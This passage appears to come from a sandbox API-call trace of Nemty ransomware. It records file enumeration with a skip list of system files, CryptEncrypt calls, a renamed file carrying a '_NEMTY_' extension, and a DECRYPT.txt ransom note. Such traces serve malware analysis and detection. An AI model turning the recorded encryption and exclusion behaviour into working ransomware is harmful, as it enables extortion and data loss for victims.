nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.205] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.214] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0134.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.227] CloseHandle (hObject=0xffffffff) returned 0 [0134.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0134.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.227] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0134.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\settings.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css\\settings.css._nemty_kgobjgd_")) returned 0 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.227] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0134.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0134.228] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37fe530, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0134.228] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0134.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.228] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0134.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.228] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.228] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0134.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.229] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340198 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.229] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37fe530, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x37fe530, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x37fe530, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0134.229] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0134.229] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.229] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0134.229] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0134.230] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0134.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0134.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0134.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0134.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0134.230] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0134.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0134.230] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0134.230] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0134.230] Sleep (dwMilliseconds=0x5) [0134.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3a85c90, dwHighDateTime=0x1d561e8)) [0134.236] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3a85c90, dwHighDateTime=0x1d561e8)) [0134.236] GetLastError () returned 0x12 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0134.236] GetLastError () returned 0x12 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.236] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0134.236] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0134.236] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0134.236] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="K8eKvCIysoPyP1pn3S2RA0QYOvgPEZU9QoAKUhNNUUlL4mye++2GUKRsBqMVa8yO\r\n+JitFeqcKNqpoR/nre5KfNpsJgtYGxtv4C59kZ4RnQxvwtPpkDWfaCmT+a+KQ+ie\r\nCQ2vulY166/h+4Bjv9XvlmsGUQyeWIlKFFHoTlhPWPyRr77rVitmZgL1C59VfekO\r\nlfLsIrrHcsAOShA9bkTAeikFB6IVCWhAcIMa55wVUo4w1Clas3b1sKJ7bRXapST1\r\nyzlVZs8W6opwLkiTicFXiluixjjg2SZN0Wz54WPStcKYn3hwC71ksxUQAOiAx+QI\r\ncePtSN5CGZtTl/D9U6VvTw==\r\n", pcchString=0x653e91c) returned 1 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0134.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0134.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0134.236] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0134.237] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.237] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0134.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0134.237] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.237] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, 